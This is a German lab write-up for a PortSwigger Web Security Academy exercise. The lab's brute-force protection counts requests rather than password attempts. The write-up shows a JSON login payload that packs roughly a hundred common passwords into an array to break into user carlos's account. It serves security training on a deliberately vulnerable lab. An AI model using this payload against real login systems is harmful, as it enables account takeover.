> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/authentication/broken-brute-force-protection-with-multiple-credentials-per-request.md).

# Gebrochener Brute-Force-Schutz mit mehreren Anmeldedaten pro Anfrage

Notizen zum gebrochenen Brute-Force-Schutz mit mehreren Anmeldedaten pro Anfrage für die Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungsablauf, Payload-Tests, Burp-Suite-Validierung und Behe

### Defekter Schutz vor Brute-Force-Angriffen, mehrere Anmeldedaten pro Anfrage

Dieses Labor weist einen logischen Fehler im Schutzmechanismus gegen Brute-Force-Angriffe auf. / Das Ziel ist es **das Passwort des Benutzers carlos zu finden** und auf seine Seite zuzugreifen **Mein Konto**.

* **Zielbenutzer**: `carlos`
* **Liste der möglichen Passwörter**: vom Labor bereitgestellt
* **Einstiegspunkt**: Anmeldeformular

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3194516c73719c3404fef06dffc278f984573f50%2F%7B23642F1A-A776-47A6-AC12-BC43655196BC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Beobachtung des Verhaltens**

Bei der Analyse des Anmeldeformulars ist die an den Server gesendete Anfrage im **JSON** Format mit den folgenden Feldern:

```json
{
    "username":"carlos",
    "password":"password"
}
```

Der Schutz gegen Brute-Force scheint auf der Anzahl der gesendeten \*\*HTTP-Anfragen\*\* zu basieren, nicht auf der Anzahl der \*\*tatsächlich getesteten Passwörter\*\*.

**Ausnutzung des logischen Fehlers**

Anstatt eine Passwortanfrage zu senden, ist es möglich zu übermitteln **mehrere Passwörter in einer einzigen Anfrage**, unter Verwendung eines JSON-Arrays für das `Passwort` Feld.

{% code overflow="wrap" %}

```json
{
  "username": "carlos",
  "password": ["123456","password","12345678","qwerty","123456789","12345","1234","111111","1234567","dragon","123123","baseball","abc123","football","monkey","letmein","shadow","master","666666","qwertyuiop","123321","mustang","1234567890","michael","654321","superman","1qaz2wsx","7777777","121212","000000","qazwsx","123qwe","killer","trustno1","jordan","jennifer","zxcvbnm","asdfgh","hunter","buster","soccer","harley","batman","andrew","tigger","sunshine","iloveyou","2000","charlie","robert","thomas","hockey","ranger","daniel","starwars","klaster","112233","george","computer","michelle","jessica","pepper","1111","zxcvbn","555555","11111111","131313","freedom","777777","pass","maggie","159753","aaaaaa","ginger","princess","joshua","cheese","amanda","summer","love","ashley","nicole","chelsea","biteme","matthew","access","yankees","987654321","dallas","austin","thunder","taylor","matrix","mobilemail","mom","monitor","monitoring","montana","moon","moscow"]
}
```

{% endcode %}

Der Server \*\*akzeptiert die Anfrage\*\* und testet alle im Array enthaltenen Passwörter, **ohne einen Blockierungsmechanismus auszulösen**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cceb4b8ffbe43ea9dc1156eea5da388b1dbbfa07%2F%7B98F12D38-6A42-458B-93B0-ED4D46A781AA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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